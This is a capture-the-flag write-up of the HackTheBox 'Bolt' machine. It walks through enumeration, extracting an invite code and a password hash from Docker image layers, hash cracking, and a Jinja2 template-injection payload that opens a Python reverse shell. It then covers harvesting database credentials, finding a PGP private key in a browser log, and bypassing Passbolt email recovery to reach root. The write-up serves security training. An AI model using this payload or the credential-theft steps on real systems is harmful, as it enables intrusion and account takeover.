Bolt - [HTB]

Cover Image for Bolt - [HTB]
Marmeus
Marmeus

Table of Contents

    Introduction

    Bolt is a medium Linux machine from HackTheBox where the attacker will have to analyse a docker image to obtain some credentials and an invitation code to exploit a vulnerable piece of code that will allow you to get a reverse shell. Then, the attacker will have to find some credentials in another configuration file to become the machine's user. Finally, the attacker will have to find a private key in a log file needed for recovering a passbolt account without email.

    Enumeration

    As always, let's start finding all opened ports available in the machine with Nmap.

    kali@kali:~/Documents/HTB/Bolt$ sudo nmap -sS -p- -n -T5 -oN AllPorts.txt 10.10.11.114
    Warning: 10.10.11.114 giving up on port because retransmission cap hit (2).
    Nmap scan report for 10.10.11.114
    Host is up (0.11s latency).
    Not shown: 65514 closed ports
    PORT      STATE    SERVICE
    22/tcp    open     ssh
    80/tcp    open     http
    443/tcp   open     https
    1885/tcp  filtered vrtstrapserver
    2577/tcp  filtered scipticslsrvr
    7060/tcp  filtered unknown
    9295/tcp  filtered armcenterhttps
    11448/tcp filtered unknown
    12329/tcp filtered unknown
    13258/tcp filtered unknown
    15235/tcp filtered unknown
    21402/tcp filtered unknown
    23706/tcp filtered unknown
    32321/tcp filtered unknown
    37819/tcp filtered unknown
    38963/tcp filtered unknown
    56213/tcp filtered unknown
    58140/tcp filtered unknown
    59183/tcp filtered unknown
    59985/tcp filtered unknown
    61394/tcp filtered unknown
    
    # Nmap done at Sat Sep 25 16:31:49 2021 -- 1 IP address (1 host up) scanned in 250.55 seconds

    Then, we continue with a deeper scan of each opened port, getting more information about each service.

    kali@kali:~/Documents/HTB/Bolt$ sudo nmap -sC -sV -n -T5 -oN PortsDepth.txt -p 22,80,443 10.10.11.114
    Nmap scan report for 10.10.11.114
    Host is up (0.11s latency).
    
    PORT    STATE SERVICE  VERSION
    22/tcp  open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
    | ssh-hostkey: 
    |   3072 4d:20:8a:b2:c2:8c:f5:3e:be:d2:e8:18:16:28:6e:8e (RSA)
    |   256 7b:0e:c7:5f:5a:4c:7a:11:7f:dd:58:5a:17:2f:cd:ea (ECDSA)
    |_  256 a7:22:4e:45:19:8e:7d:3c:bc:df:6e:1d:6c:4f:41:56 (ED25519)
    80/tcp  open  http     nginx 1.18.0 (Ubuntu)
    |_http-server-header: nginx/1.18.0 (Ubuntu)
    |_http-title:     Starter Website -  About 
    443/tcp open  ssl/http nginx 1.18.0 (Ubuntu)
    |_http-server-header: nginx/1.18.0 (Ubuntu)
    | http-title: Passbolt | Open source password manager for teams
    |_Requested resource was /auth/login?redirect=%2F
    | ssl-cert: Subject: commonName=passbolt.bolt.htb/organizationName=Internet Widgits Pty Ltd/stateOrProvinceName=Some-State/countryName=AU
    | Not valid before: 2021-02-24T19:11:23
    |_Not valid after:  2022-02-24T19:11:23
    Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

    Looking at the results, we obtain two domains ( bolt.htb and passbolt.bolt.htb). We can access the following pages by adding both domains to /etc/hosts.

    Bolt main page
    Passbolt page

    Furthermore, by enumerating subdomains, we can obtain two more.

    kali@kali:~/Documents/HTB/Bolt$ gobuster vhost  -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -u http://bolt.htb/
    ===============================================================
    Gobuster v3.1.0
    by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
    ===============================================================
    [+] Url:          http://bolt.htb/
    [+] Method:       GET
    [+] Threads:      10
    [+] Wordlist:     /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-110000.txt
    [+] User Agent:   gobuster/3.1.0
    [+] Timeout:      10s
    ===============================================================
    2021/09/25 16:41:24 Starting gobuster in VHOST enumeration mode
    ===============================================================
    Found: demo.bolt.htb (Status: 302) [Size: 219]
    Found: mail.bolt.htb (Status: 200) [Size: 4943]

    Once added to /etc/hosts, we can access two new web pages, being the latter pretty much the same as bolt.htb but differs in the registration form as you can see below (It requires an invitation code).

    Bolt webmail
    Invitation code

    Moreover, by messing around on bolt.htb we can find a download page to download a docker image.

    bolt download page

    To analyse the layers of this container, we can use the tool dive.

    kali@kali:~/Documents/HTB/Bolt$ wget https://github.com/wagoodman/dive/releases/download/v0.9.2/dive_0.9.2_linux_amd64.deb
    kali@kali:~/Documents/HTB/Bolt$ sudo apt install ./dive_0.9.2_linux_amd64.deb
    kali@kali:~/Documents/HTB/Bolt$ sudo dive --source docker-archive ./image.tar
    Image Source: docker-archive://./image.tar
    Fetching image... (this can take a while for large images)
    Analyzing image...
    Building cache...

    As we can see below we have information about which files were added, modified and removed in each layer, being the Id corresponds to each folder inside the image.tar.

    Dive container

    Looking inside the third layer, we can see that this was the moment where the app was installed in the container.

    Under the folder 41093412e0da959c80875bb0db640c1302d5bcdffec759a3a5670950272789ad we can decompress the file layer.tar, obtaining its source code.

    Under the file /app/base/routes.py we can obtain a hard-coded invitation code, which allows us to create an account on demo.bolt.htb

    @blueprint.route('/register', methods=['GET', 'POST'])
    [...]
    code	  = request.form['invite_code']
    if code != 'XNSS-HSJW-3NGU-8XTJ':
    	return render_template('code-500.html')
    data = User.query.filter_by(email=email).first()
    if data is None and code == 'XNSS-HSJW-3NGU-8XTJ':

    Furthermore, in the layer a4ea7da8de7bfbf327b56b0cb794aed9a8487d31e588b75029f6b527af2976f2 there is a sqlite database.

    gunicorn database

    Inside the database, there is the admin's hashed credential, which password can be cracked with john.

    kali@kali:~/Documents/HTB/Bolt/Docker/a4ea7da8de7bfbf327b56b0cb794aed9a8487d31e588b75029f6b527af2976f2$ sqlite3 db.sqlite3
    sqlite> .tables
    User
    sqlite> .schema User
    CREATE TABLE IF NOT EXISTS "User" (
            id INTEGER NOT NULL, 
            username VARCHAR, 
            email VARCHAR, 
            password BLOB, 
            email_confirmed BOOLEAN, 
            profile_update VARCHAR(80), 
            PRIMARY KEY (id), 
            UNIQUE (username), 
            UNIQUE (email)
    );
    sqlite> select * from User;
    1|admin|admin@bolt.htb|$1$sm1RceCh$rSd3PygnS/6jlFDfF2J5q.|
    
    kali@kali:~/Documents/HTB/Bolt/Docker$ john -w=/usr/share/wordlists/rockyou.txt admin.hash 
    Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
    Use the "--format=md5crypt-long" option to force loading these as that type instead
    Using default input encoding: UTF-8
    Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
    Will run 4 OpenMP threads
    Press 'q' or Ctrl-C to abort, almost any other key for status
    deadbolt         (?)
    1g 0:00:00:01 DONE (2021-09-28 15:48) 0.9174g/s 158532p/s 158532c/s 158532C/s doida..curtis13
    Use the "--show" option to display all of the cracked passwords reliably
    Session completed
    

    These credentials can be used to access to the bolt.htb web page, where we can find a hint for what we need to do next.

    Email hint

    Exploitation

    Looking in the /app/home/routes.py there is an experimental email feature, where the name parameter seems to be vulnerable to template injection.

    def profile():
        """Profiles"""
        if request.method == 'GET':
            return render_template('example-profile.html', user=user,current_user=current_user)
        else:
            """Experimental Feature"""
            cur_user = current_user
            user = current_user.username
            name = request.form['name']
            experience = request.form['experience']
            skills = request.form['skills']
            msg = Message(
                    recipients=[f'{cur_user.email}'],
                    sender = 'support@example.com',
                    reply_to = 'support@example.com',
                    subject = "Please confirm your profile changes"
                )
            try:
                cur_user.profile_update = name
            except:
                return render_template('page-500.html')
            db.session.add(current_user)
            db.session.commit()
            token = ts.dumps(user, salt='changes-confirm-key')
            confirm_url = url_for('home_blueprint.confirm_changes',token=token,_external=True)
            html = render_template('emails/confirm-changes.html',confirm_url=confirm_url)
            msg.html = html
            mail.send(msg)
            return render_template('index.html')

    We can update our username in the demo.bolt.htb under the settings tab.

    Username profile

    In this post we can obtain the necessary code for getting a reverse shell exploiting the template injection.

    {% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"<IP>\",<PORT>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\", \"-i\"]);'")}}{%endif%}{% endfor %}
    Bolt Template injection
    kali@kali:~/Documents/HTB/Bolt$ nc -nlvp 4444                                  
    listening on [any] 4444 ...                                                    
    connect to [10.10.15.118] from (UNKNOWN) [10.129.210.61] 54162
    /bin/sh: 0: can't access tty; job control turned off                           
    $ id
    uid=33(www-data) gid=33(www-data) groups=33(www-data)
    $ pwd                                                                          
    /var/www/demo 
    

    Privilege escalation 1

    Using Linpeas, we can see that we have access to Passbolt's folder, retrieving the database credential.

    ╔══════════╣ Readable files belonging to root and readable by me but not world readable
    [...]
    -rw-r----- 1 root www-data 3128 Feb 25  2021 /etc/passbolt/passbolt.php 
    [...]
    www-data@bolt:~$ cat /etc/passbolt/passbolt.php              
    <?php 
    [...]
    // Database configuration.
        'Datasources' => [
            'default' => [
                'host' => 'localhost',
                'port' => '3306',
                'username' => 'passbolt',
                'password' => 'rT2;jW7<eY8!dX8}pQ8%',
                'database' => 'passboltdb',          
            ],   
        ],

    The password for the database can also be used to access the machine as Eddie through SSH.

    kali@kali:~/UTILS$ ssh eddie@bolt.htb
    eddie@bolt.htb's password: 
    eddie@bolt:~$ id
    uid=1000(eddie) gid=1000(eddie) groups=1000(eddie)
    eddie@bolt:~$ cat user.txt 
    [CENSORED]

    Privilege escalation 2

    Looking for emails, we can find an email from Clark to Eddie talking about a private key that will allow us to recover Eddie's passbolt account.

    eddie@bolt:/var$ cat mail/eddie
    From clark@bolt.htb  Thu Feb 25 14:20:19 2021
    Return-Path: <clark@bolt.htb>
    X-Original-To: eddie@bolt.htb
    Delivered-To: eddie@bolt.htb
    Received: by bolt.htb (Postfix, from userid 1001)
            id DFF264CD; Thu, 25 Feb 2021 14:20:19 -0700 (MST)
    Subject: Important!
    To: <eddie@bolt.htb>
    X-Mailer: mail (GNU Mailutils 3.7)
    Message-Id: <20210225212019.DFF264CD@bolt.htb>
    Date: Thu, 25 Feb 2021 14:20:19 -0700 (MST)
    From: Clark Griswold <clark@bolt.htb>
    
    Hey Eddie,
    
    The password management server is up and running.  Go ahead and download the extension to your browser and get logged in.  Be sure to back up your private key because I CANNOT recover it.  Your private key is the only way to recover your account.
    Once you're set up you can start importing your passwords.  Please be sure to keep good security in mind - there's a few things I read about in a security whitepaper that are a little concerning...
    
    -Clark
    

    Using grep appeared several files containing a private key. Between all of them, there is a log file which stands out.

    eddie@bolt:~$ grep -irl --color "BEGIN PGP PRIVATE KEY BLOCK" / --exclude-dir=proc 2>/dev/null
    [...]
    /home/eddie/.config/google-chrome/Default/Local Extension Settings/didegimhafipceonhjepacocaffmoppf/000003.log
    [...]

    After cleaning the log file, we obtain the following private key.

    -----BEGIN PGP PRIVATE KEY BLOCK-----
    Version: OpenPGP.js v4.10.9
    Comment: https://openpgpjs.org
    
    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
    PSwYYWlAywj5
    =cqxZ
    -----END PGP PRIVATE KEY BLOCK-----
    

    Despite having eddie's private password, we can not recover eddie's account at passbolt.bolt.htb because we need we need to confirm the email sent to eddie@bolt.htb in order to get access.

    Check email passbolt

    Nonetheless, there is a turn around that allow us to recover eddie's account without the email as we can see here. We only need to obtain eddie's account id and the recover token as follows.

    eddie@bolt:/usr/share/nginx$ mysql -u passbolt -p'rT2;jW7<eY8!dX8}pQ8%'
    mysql> use passboltdb;
    mysql> select token from authentication_tokens where user_id = (select id from users where username = 'eddie@bolt.htb') and type = 'recover' order by created DESC;
    +--------------------------------------+
    | token                                |
    +--------------------------------------+
    | bc9efdcc-7f2c-4431-8450-c73e08874e5c |
    +--------------------------------------+
    1 row in set (0.00 sec)
    
    mysql> select id from users where username = 'eddie@bolt.htb';
    +--------------------------------------+
    | id                                   |
    +--------------------------------------+
    | 4e184ee6-e436-47fb-91c9-dccb57f250bc |
    +--------------------------------------+
    1 row in set (0.00 sec)
    
    mysql> exit
    Bye
    

    Now, we only need to put everything together as in the following url.

    https://passbolt.bolt.htb/setup/recover/4e184ee6-e436-47fb-91c9-dccb57f250bc/bc9efdcc-7f2c-4431-8450-c73e08874e5c

    Allowing us to see all the passwords in eddie's passbolt vault.

    Pâssbolt vault

    Finally, typing the root password we can obtain the root flag.

    eddie@bolt:/usr/share/nginx$ su root
    Password: 
    root@bolt:/usr/share/nginx# cat /root/root.txt 
    [CENSORED]